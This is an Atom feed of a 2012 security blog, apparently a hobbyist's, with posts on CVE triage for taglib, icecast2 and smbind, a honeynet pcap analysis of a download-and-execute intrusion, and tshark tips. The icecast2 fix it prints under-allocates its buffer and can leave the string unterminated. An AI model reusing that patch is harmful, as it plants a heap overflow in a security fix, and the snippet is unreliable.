<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7761018377333039151</id><updated>2012-03-05T18:29:08.045-08:00</updated><category term='spyeye'/><category term='cve-2010-4000'/><category term='cve-2012-0065'/><category term='cve-2011-0996'/><category term='symlink vulnerability'/><category term='cve-2011-2921'/><category term='using NtGlobalFlags'/><category term='opensuse'/><category term='binary patching'/><category term='tshark'/><category term='security'/><category term='setuid'/><category term='ktsuss'/><category term='gnome-shell'/><category term='malware analysis'/><category term='ollydbg'/><category term='symlic restrictions'/><category term='heap overflow'/><category term='vlc'/><category term='unpackme'/><category term='tElock'/><category term='packet analysis'/><category term='pdf-malware'/><category term='cve-2010-3387'/><category term='pcap'/><category term='cve'/><category term='cve-2003-0533'/><category term='cve-2010-3076'/><category term='network'/><category term='taglib'/><category term='ubuntu maverick'/><category term='ubuntu'/><category term='amarok'/><category term='LD_LIBRARY_PATH'/><category term='cve-2011-4612'/><category term='debugger detection'/><category term='function name hashing'/><category term='dhcpcd'/><title type='text'>Overflow</title><subtitle type='html'>Security enthusiast. Binary lover. I triage and fix CVE bugs, reverse engineer malware for fun.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>20</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-1406449467510949595</id><published>2012-03-02T22:13:00.002-08:00</published><updated>2012-03-05T18:29:08.323-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amarok'/><category scheme='http://www.blogger.com/atom/ns#' term='cve'/><category scheme='http://www.blogger.com/atom/ns#' term='vlc'/><category scheme='http://www.blogger.com/atom/ns#' term='taglib'/><title type='text'>multiple vulnerabilities in taglib</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://0x1337.in/"&gt;Dhanesh K.&lt;/a&gt; and myself have uncovered multiple vulnerabilities that can be triggered in &lt;a href="http://developer.kde.org/~wheeler/taglib.html"&gt;taglib&lt;/a&gt; - a library used by vlc, amarok and other players for metadata tag parsing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Timeline :-&lt;/b&gt;&lt;br /&gt;&lt;i&gt;February 29th, March 3&lt;/i&gt;&amp;nbsp;- Vulnerability discovery, contacting main developers, filing launchpad&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;a href="https://bugs.launchpad.net/ubuntu/+source/taglib/+bug/945415"&gt;bug&lt;/a&gt;(security bugs are private by default, unless made public later on)&lt;br /&gt;&lt;i&gt;March 4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- &lt;/i&gt;Ack from developer, asking us to post details to the taglib mailing list.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Details&amp;nbsp;posted.&lt;br /&gt;&lt;i&gt;March 4&lt;/i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - 2 bugs patched, PoC ogg files sent for resolving the other two bugs&lt;br /&gt;&lt;i&gt;March 4&lt;/i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - Other bugs confirmed on latest release, however, does not crash on dev head.&lt;br /&gt;&lt;i&gt;March 4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/i&gt;&amp;nbsp;- Request for CVE&lt;br /&gt;&lt;i&gt;March 6&lt;/i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - CVE-2012-1107 and CVE-2012-1108 assigned&lt;br /&gt;&lt;br /&gt;Related links :-&lt;br /&gt;&lt;a href="https://bugs.launchpad.net/ubuntu/+source/taglib/+bug/945415"&gt;LP bug&lt;/a&gt;&lt;br /&gt;&lt;a href="http://mail.kde.org/pipermail/taglib-devel/2012-March/002186.html"&gt;Taglib mailing list discussion&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-1406449467510949595?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/1406449467510949595/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/03/multiple-vulnerabilities-in-taglib.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1406449467510949595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1406449467510949595'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/03/multiple-vulnerabilities-in-taglib.html' title='multiple vulnerabilities in taglib'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-2092208884116001109</id><published>2012-02-28T04:40:00.000-08:00</published><updated>2012-02-28T04:40:11.779-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pcap'/><category scheme='http://www.blogger.com/atom/ns#' term='cve-2003-0533'/><category scheme='http://www.blogger.com/atom/ns#' term='packet analysis'/><title type='text'>some pcap analysis - CVE-2003-0533</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;I had a look at pcap file from a honeynet challenge and it was quite interesting. Its about analyzing an attack which has taken place, having to figure out the vulnerability etc. There are 2 hosts involved, A(98.114.205.102) and B(192.150.11.111).&lt;br /&gt;&lt;br /&gt;Looking at the pcap, lets start by tracing the tcp streams quickly. Looking at the hex representation of the stream(A=&amp;gt;B), you see lots of nops; it seems we have some shellcode in between the same.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-EA0yeQesdO8/T0zKC5sa5oI/AAAAAAAAAds/uyPKoJ05t0g/s1600/Screen+shot+2012-02-28+at+4.56.41+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-EA0yeQesdO8/T0zKC5sa5oI/AAAAAAAAAds/uyPKoJ05t0g/s320/Screen+shot+2012-02-28+at+4.56.41+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The second TCP stream(A=&amp;gt;B) also seems to have something interesting for us.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-5qRhwJx0x3s/T0zKL-d_rrI/AAAAAAAAAd0/VVa6aUqUDWc/s1600/Screen+shot+2012-02-28+at+4.58.47+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-5qRhwJx0x3s/T0zKL-d_rrI/AAAAAAAAAd0/VVa6aUqUDWc/s320/Screen+shot+2012-02-28+at+4.58.47+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Certain FTP commands seem to be written into the file "o" and the ftp client seems to be getting invoked in order to execute the commands in the file "o", which involve logging in, getting a file and quitting. After that the downloaded file is run. This is&lt;br /&gt;&lt;br /&gt;The third TCP stream seems to have relevant data flowing both ways. The Blue indicates A=&amp;gt;B and Red indicates vice versa.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-K4gs344NO6s/T0zKX59tKcI/AAAAAAAAAd8/8ClIATS2prc/s1600/Screen+shot+2012-02-28+at+5.11.33+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-K4gs344NO6s/T0zKX59tKcI/AAAAAAAAAd8/8ClIATS2prc/s320/Screen+shot+2012-02-28+at+5.11.33+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Haha, that was funny. :) So, as expected a file seems to be transferred. At this point, I'd guess the next TCP stream to be an executable of some sort; the "smss.exe" shown above.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-1zyOz_QDL5w/T0zKmIWyYrI/AAAAAAAAAeE/QmFIeOFxklc/s1600/Screen+shot+2012-02-28+at+5.14.05+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-1zyOz_QDL5w/T0zKmIWyYrI/AAAAAAAAAeE/QmFIeOFxklc/s320/Screen+shot+2012-02-28+at+5.14.05+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Looking at the hexdump of the file, we can see that the file starts with "MZ" - the file format signature for PE files.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A bit of guessing&lt;/b&gt; :-&lt;br /&gt;Everything you just saw, happened in a timespan of 16 seconds which is quite quick. Also, you can do an OS detection on the packets involved and notice that A is a Windows machine(an infected machine?) while B is a Linux machine(honeypot?).&lt;br /&gt;In order to identify the vulnerability, I had another look at the protocols and ports involved in the first tcp stream. Around packet 28(in stream 1), you have a DCERPC request, you have the shellcode being sent, and you have a DsRoleUpgradeDownlevelServer request. Making a few searches we get that, &lt;a href="http://www.securiteam.com/exploits/5IP0L1PCKE.html"&gt;this&lt;/a&gt; and &lt;a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-533"&gt;this&lt;/a&gt;&amp;nbsp;suggesting that we are dealing with a case of CVE-2003-0533.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-2092208884116001109?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/2092208884116001109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/some-pcap-analysis-cve-2003-0533.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/2092208884116001109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/2092208884116001109'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/some-pcap-analysis-cve-2003-0533.html' title='some pcap analysis - CVE-2003-0533'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-EA0yeQesdO8/T0zKC5sa5oI/AAAAAAAAAds/uyPKoJ05t0g/s72-c/Screen+shot+2012-02-28+at+4.56.41+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-884639215747621005</id><published>2012-02-28T02:14:00.003-08:00</published><updated>2012-02-28T02:14:34.773-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network'/><category scheme='http://www.blogger.com/atom/ns#' term='packet analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='tshark'/><title type='text'>just a few tshark commands</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Just a few tshark commands to get you some information on a pcap file involved.&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;List the hosts involved(if you need a guess the canonical name, dont use "-n")&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tshark -r my.pcap -z ip_hosts,tree -qn&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Try out OS fingerprinting on the hosts involved in the pcap by doing&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;b&gt;p0f -s my.pcap -N&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;if you wanna see the sessions involved, you can do&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;b&gt;tshark -r my.pcap -qnz conv,tcp&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;To view information about the pcap files like details about the duration across which the packets were captured, you could do :-&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;b&gt;capinfos attack-trace.pcap&lt;/b&gt;&amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-884639215747621005?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/884639215747621005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/just-few-tshark-commands.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/884639215747621005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/884639215747621005'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/just-few-tshark-commands.html' title='just a few tshark commands'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-1163064924069940540</id><published>2012-02-20T09:41:00.000-08:00</published><updated>2012-02-21T20:15:28.149-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cve'/><category scheme='http://www.blogger.com/atom/ns#' term='cve-2011-4612'/><title type='text'>CVE-2011-4612 and icecast2</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The vulnerability allows a person to modify whats written into a logfile by crafting a certain GET request to the icecast2 server. You can view the CVE details&amp;nbsp;&lt;a href="http://people.canonical.com/~ubuntu-security/cve/2011/CVE-2011-4612.html"&gt;here&lt;/a&gt;&amp;nbsp;and the bug details &lt;a href="https://bugs.launchpad.net/ubuntu/+source/icecast2/+bug/894782"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The code involved is in the &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;fserve_client_create&lt;/span&gt; function inside &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;src/fserve.c&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;412 &amp;nbsp; &amp;nbsp; fullpath = util_get_path_from_normalised_uri (filtered_path);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;413 &amp;nbsp; &amp;nbsp; INFO2 ("checking for file %s (%s)", filtered_path, fullpath);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;414 &amp;nbsp; &amp;nbsp; free(filtered_path);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;415&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;416 &amp;nbsp; &amp;nbsp; if (strcmp (util_get_extension (fullpath), "m3u") == 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;417 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; m3u_requested = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;418&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;419 &amp;nbsp; &amp;nbsp; if (strcmp (util_get_extension (fullpath), "xspf") == 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;420 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xspf_requested = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;421&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;422 &amp;nbsp; &amp;nbsp; /* check for the actual file */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;423 &amp;nbsp; &amp;nbsp; if (stat (fullpath, &amp;amp;file_buf) != 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;424 &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;425 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* the m3u can be generated, but send an m3u file if available */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;426 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (m3u_requested == 0 &amp;amp;&amp;amp; xspf_requested == 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;427 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;428 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; WARN2 ("req for file \"%s\" %s", fullpath, strerror (errno));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;429 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; client_send_404 (httpclient, "The file you requested could not be found");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;430 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; free (fullpath);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;As this is a newline injection vuln, removing occurances of '\r', '\n' could solve the issue.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;25 + &amp;nbsp; &amp;nbsp;int i;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;26 + &amp;nbsp; &amp;nbsp;char *filtered_path;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;27 .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;28 - &amp;nbsp; &amp;nbsp;fullpath = util_get_path_from_normalised_uri (path);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;29 - &amp;nbsp; &amp;nbsp;INFO2 ("checking for file %s (%s)", path, fullpath);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;30 + &amp;nbsp; &amp;nbsp;/* Remove occurances of '\r' and '\n', if any */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;31 + &amp;nbsp; &amp;nbsp;filtered_path = (char *)malloc(strlen(path));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;32 + &amp;nbsp; &amp;nbsp;for(i=0; path[i]!='\0'; ++i) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;33 + &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if(path[i] == '\r' || path[i] == '\n') {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;34 + &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;filtered_path[i] = '\0';&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;35 + &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;36 + &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;37 + &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;38 + &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;filtered_path[i] = path[i];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;39 + &amp;nbsp; &amp;nbsp;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;40 +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;41 + &amp;nbsp; &amp;nbsp;fullpath = util_get_path_from_normalised_uri (filtered_path);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;42 + &amp;nbsp; &amp;nbsp;INFO2 ("checking for file %s (%s)", filtered_path, fullpath);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;43 + &amp;nbsp; &amp;nbsp;free(filtered_path);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;b&gt;EDIT &lt;/b&gt;It was later decided that replacing '\r' and '\n' would be a much better option that truncating the strings, so a new patch has been uploaded.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-1163064924069940540?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/1163064924069940540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2011-4612-and-icecast2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1163064924069940540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1163064924069940540'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2011-4612-and-icecast2.html' title='CVE-2011-4612 and icecast2'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-5687720472612657722</id><published>2012-02-18T06:48:00.000-08:00</published><updated>2012-02-20T04:57:10.354-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cve-2010-3076'/><category scheme='http://www.blogger.com/atom/ns#' term='cve'/><title type='text'>CVE-2010-3076 and smbind</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;This is just another issue I verified for Maverick - I did not write the patch/debdiff for the same. There does seem to be a upstream patch(debian lenny) for the same, so probably it'll be a fake sync rather than a patch in Ubuntu.&lt;br /&gt;&lt;br /&gt;I just had a look at the highlighted packages for the week &lt;a href="https://wiki.ubuntu.com/MeetingLogs/Security/20120213"&gt;here&lt;/a&gt; and decided to look at the web frontend for BIND. You can view the CVE details &lt;a href="http://people.canonical.com/~ubuntu-security/cve/2010/CVE-2010-3076.html."&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;apt-get source the application, lets have a look at the "filter function in php/src/include.php".&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;22 if(isset($_POST['username']) &amp;amp;&amp;amp; isset($_POST['password'])) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;23 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;24 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; die("Username and password must contain only letters and numbers.");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;25 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;26 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $_SESSION['username'] = $_POST['username'];&lt;/span&gt;&lt;br 